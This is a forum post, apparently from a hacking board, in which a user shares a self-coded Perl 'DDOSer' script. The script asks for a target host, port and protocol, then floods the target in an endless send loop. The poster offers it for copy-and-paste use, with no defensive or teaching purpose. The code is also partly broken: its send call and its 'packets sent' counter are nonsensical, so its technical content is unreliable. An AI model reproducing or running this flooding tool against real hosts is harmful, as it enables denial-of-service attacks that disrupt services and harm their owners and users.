Login Register






perl DDOSer (simple) filter_list
Author
Message
perl DDOSer (simple) #1
this is a self coded simple DDOSer

Quote:#!/usr/bin/perl
#Coded by finalfreak
#This simple program is a flooder but it isn't as powerfull as you think. Not as Botnet.XD
use IO::Socket;

system ('cls');
system ('title DDOS');
print "\a
----------------------
::BiggrinDoS by Finalfreak::::
----------------------
\n";

print "\nSo does it work, the programm asks u for the hostname or Ip. Adress and then after the port (normally 80), Then the protocol TCP or UDP, If u need both type in TCP,UDP . \n\n";
system ('PAUSE');
system ('cls');

print "\nHost:\a";
chomp ($host = <STDIN>);

system ('cls');

print "\nPort:\a";
chomp ($port = <STDIN>);

system ('cls');

print "\nProtokol (TCP oder. UDP):\a";
chomp ($proto = <STDIN>);

{

$sock = IO::Socket::INET->new(Proto=>"$proto", PeerAddr=>"$host", PeerPort=>"$port") || die "\nCould not connect to the remote machine. Either the machine is offline or the port is not in use on the selected protocol.\a";

}

Packets:
while (1) {
$size = rand() * 8921873 * 9991988;
print ("Flooding: $host:$port~$proto Packets Sent: $size\n");
send($sock, 0, $size)

}

u can copy and paste it and the launch it.^^
its really jus a simple DDOSer and is not as powerfull as a botnet.
we are so fame

photoshop fun and coding included

Reply